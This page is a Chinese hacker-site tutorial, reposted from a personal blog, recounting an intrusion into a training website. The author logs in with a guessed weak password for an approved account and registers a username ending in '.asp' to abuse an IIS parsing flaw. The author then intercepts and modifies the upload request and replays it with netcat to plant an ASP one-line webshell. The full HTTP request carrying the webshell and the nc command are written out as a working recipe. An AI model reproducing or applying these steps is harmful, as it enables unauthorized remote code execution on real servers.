| 网站首页 | Vip会员区 | 教程 | 下载 | 图片 | QQ家园 | 免费资源 | 在线服务 | 论坛 | 博客 | 程序开发 | It学堂 | 作品发布 | 
站点相关
代刻黑客光盘或订做光盘

精品软件程序定制

为您的网站或者服务器保驾护航
相关内容
最 新 热 门
相 关 文 章
没有相关文章
您现在的位置: 红色黑客联盟 >> 教程 >> 黑客技术 >> 脚本攻防 >> 正文
修改数据包拿WebShell
文章录入:7747.Net    责任编辑:7747.Net 

【字体:

摘自尼克技术博客

难道我最近真的是人品爆发了?竟然一个接一个全都搞定了,且各个都出乎我的意料之外。好了,不废话了,记录一下这次是如何抓包-》改包-》上

传-》拿到WEBSHELL的。
经过仔细分析,这个网站无论从主站还是分站都不存在任何注入漏洞,当然这种网站不用说使用的是MSSQL数据,也就谈不上找到ACCESS数据库下载了

,更没找到管理后台页。


那就注册一个用户进去看吧这里的注册一共可以选择3种用户类型:普通会员、讲师会员、机构会员。注册的时候网页上有提示哪个角色有什么样的权

限。3个我都注册了一次,分析得出普通会员与讲师会员都没可能性,机构会员可以上传培训资料,然而注册后需要人工审核,所以估计没戏了。
逛完他的网站再接着逛论坛论坛采用的是DVBBS8.0版,至于是MSSQL还是ACCESS暂不知道,不过从感觉上来说,应该是ACCESS的数据库。BBS的管理

后台可以访问,默认数据库名被改,默认管理帐号及密码都登录失败。DVBBS8.0的远程注入漏洞也宣告失败。
至此,我觉得这站真的是无敌了(对我来说)。于是丢给别人去研究了,没想到没过2个小时,他就拿到WEBSHEL了,当然人家也没告诉我是怎么弄的

,因为我们不认识。我靠~搞笑啊,我没那么弱吧?怎么可能别人都能搞定我就不行呢?我是不是有啥没想到的?赶紧反省一下...
分析来分析去,我觉得问题一定还是出在机构会员那里,可是注册后还得24小时后人工审核,他不可能2个小时就搞定的呀...
注意观察了一下,有了一点小发现:某些页面所在的URL是类似这种格式的:
http://www.xxxx.com/xxx/*****/index.asp
其中*所代表的是一些很没有规律的字符,仔细分析之下发现这些字符就是注册时的用户名!O(∩_∩)O哈哈~有没有想到点什么呀?好先放着,我们后

面用。从这里我们也就知道了一些已经通过审核的机构名,那么我们猜一猜看有没有弱口令的,比如用户名和密码一样啊,密码是123456啊什么的。

经过多次尝试,最后终于被我发现了一个用户名与密码一样的。
登录进去之后,发现有两处可以上传文件,第一处是更改自己的企业LOGO,另一处是可以上传与课程相关的图片。第一处过滤的很严格,第二处经过

测试发现对上传文件进行处理的文件已经被删除了,这里我猜测是那个2个小时入侵进去的人所为。那么对我来说唯一的希望就寄托在第一处了,过滤

比较严格,那么就先传个正常的图片文件看看返回什么效果吧。上传成功后返回的路径是这样的:
UploadImg/***/20081010201.jpg
这里的*所代表的依旧是注册时的用户名!O(∩_∩)O哈哈~再结合上面的小发现,是不是更觉得有意思了?我们可以注册一个用户名后三位是“.asp”

的,然后传个图片上去,由于IIS的解析BUG,这个.asp用户名目录下的所有文件都被解析成asp并执行了。
可是刚注册的机构会员不是要审核吗?这不就又得等了吗?嗯,起初我也是这么想的,可是测试之后我发现只要注册了,无论是否已审核都会创建那

个目录。
好,思路已经清晰了,是时候该实践了。在上传LOGO那里右键查看原文件,搜索action发现它的值是这样的:
uppic.asp?picurl=pic&file_ad=UploadImg/****
这里的*就不需要我再解释了吧?试试将这里的用户名更改为neeke.asp并将URL补全,接着把这个页面保存成本地html,然后打开这个本地html页面上

传一个后缀改为jpg的asp后门,上传结果是失败!是不是要疯了?难道这就是理论与实践的差距?
接下来才是今日的主题,虽然不知道为什么会失败,不过也是意料之内的。重新上传一次(不是使用前面的本地html)并打开WSockExpert进行抓包。

抓到的数据包如下:

POST /upload/uppic.asp?picurl=pic&file_ad=UploadImg/**** HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-silverlight,

application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Referer: http://www.xxxxx.com/xxxx/upload/uppic.asp?picurl=pic&file_ad=UploadImg/****
Accept-Language: zh-cn
Content-Type: multipart/form-data; boundary=---------------------------7d89c6100702
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
Host: www.xxxxx.com
Content-Length: 356
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDQCBQDTRD=CBDAOFCDOKNKAFBGOJIELFBL; StatUserID=; geturl=%2Fbbs%2Findex%2Easp%3Fboardid%3D19; upNum=0;

cck_lasttime=1227791151328; cck_count=0; cnzz_a723913=148; vw=%3A21294148%3A56594595%3A24657327%3A74573309%3A50974716%3A50987662%

3A37122531%3A67808458%3A70586579%3A70604138%3A28852802%3A47119284%3A76191357%3A37126954%3A51284925%3A52364933%3A38661202%

3A74790164%3A70610751%3A72013662%3A73415389%3A76191358%3A49587472%3A43119978%3A-251370864%3A73388968%3A70611921%3A73384211%

3A32870242%3A37063863%3A32420673%3A53783557%3A72013663%3A65003880%3A70588081%3A66406723%3A57972621%3A73406321%3A60801952%

3A40826249%3A39695629%3A49578341%3A59386483%3A41111789%3A25224022%3A69210191%3A53796330%3A38456400%3A62172134%3A29259370%

3A36499102%3A46949182%3A32361261%3A31862738%3A79674658%3A34731608%3A102446092%3A36507283%3A81784150%3A86027646%3A81809181%

3A74781075%3A72012436%3A80383143%3A83227606%3A76186399%3A81784130%3A77581333%3A73399009%3A78982247%3A73385225%3A78982193%

3A88833998%3A87432179%3A74816111%3A; sin=-1; rtime=2; ltime=1227806311218; cnzz_eid=67318861-1227622346-; tab=4; Dvbbs=;

ystat_bc_809970=28764444891124193035; ystat_ss_809970=26_1227833988_1259315693

-----------------------------7d89c6100702
Content-Disposition: form-data; name="FileName"; filename="D:\WEBSHELL\yjh.jpg"
Content-Type: text/plain

<%
On Error Resume Next
execute request("a")
%>

-----------------------------7d89c6100702
Content-Disposition: form-data; name="Submit"

上传截图
-----------------------------7d89c6100702--

将上面的数据包中的****更改为neeke.asp并保存为txt到同nc在一个目录下(名字可任意,这里为neeke.txt)。接下来进入DOS,在nc所在的目录输入
nc -vv www.xxxxx.com 80<neeke.txt
稍等几秒就会返回数据提交结果。本次提交返回的结果如下图。


OK,搞定了!嘿嘿~~看来我以后还得更加细心的分析才是啊!有再牛X的技术,没有好的头脑,你也是笨牛一个。

您对本文章有什么意见或着疑问吗?请到论坛讨论您的关注和建议是我们前行的参考和动力
  • 上一篇文章:

  • 下一篇文章: 没有了
  • 发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
     | 设为首页 | 加入收藏 | 广告服务 | 我要投稿 | 关于我们 | 版权申明 | 免责声明 | 隐私声明 | 网站地图 |